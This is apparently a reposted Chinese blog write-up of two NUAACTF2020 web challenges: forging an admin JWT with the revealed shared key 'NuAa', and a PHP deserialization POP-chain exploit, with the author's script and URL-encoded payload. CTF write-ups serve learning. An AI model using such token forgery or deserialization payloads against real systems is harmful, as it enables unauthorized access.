zoukankan      html  css  js  c++  java
  • NUAACTF2020

    这里就总结一下,自己没有做出来的原因:没队友交流、时间紧

    Web2

    比赛时抓包看cookie里面有jwt,就去google发现是jwt伪造,原题也看到了,只要能伪造好jwt,就能直接登录无需密码

    卡题原因:不知道jwt的密钥,现学现卖不是强项

    说实话,也没有想到要用到解密工具,因为既然不知道admin的密码,用自己注册的账号解出来的密钥不应该是自己独有的密钥吗(被没有注册时jwt为空给迷惑了)

    所以说只要是注册的用户,加密密钥都是相同的'NuAa'

    https://jwt.io/

    伪造用户名admin

     

    Web3

    需要构造pop链,类似题目WP也看了,还真的现学现卖差一点就成功

    卡题原因:没有url编码

    自己构造的exp:

    <?php
    class lemon {
        protected $ClassObj;
    
        function __construct() {
            $this->ClassObj = new evil();
        }
    }class evil {
        private $data;
    }
    $a = new lemon();
    echo serialize($a);
    ?>

    题目要看flag.php,必须构造lemon类的构造函数访问evil类

    其实挺遗憾的,没想到最后还要在编译器里url编码才能传参,之前一直直接输进地址栏

    错误的序列化:

    O:5:%22lemon%22:1:{s:11:%22%20*%20ClassObj%22;O:4:%22evil%22:1:{s:10:%22%20evil%20data%22;N;}}

    鉴于之前刷的题目,这道题没法直接传参的原因大概是序列化以后存在的特殊字符,复制之后就出错了

    [Sign]做不出ctf题的时候很痛苦,你只能眼睁睁看着其他人领先你
  • 相关阅读:
    Spring MVC
    Hibernate的状态
    设计模式
    Git在Eclipse中的使用
    深入理解Node.js基于事件驱动的回调
    nodejs核心技术
    webpack使用
    vue各种实例集合
    vue之component
    axios详解
  • 原文地址:https://www.cnblogs.com/echoDetected/p/13024533.html
Copyright © 2011-2022 走看看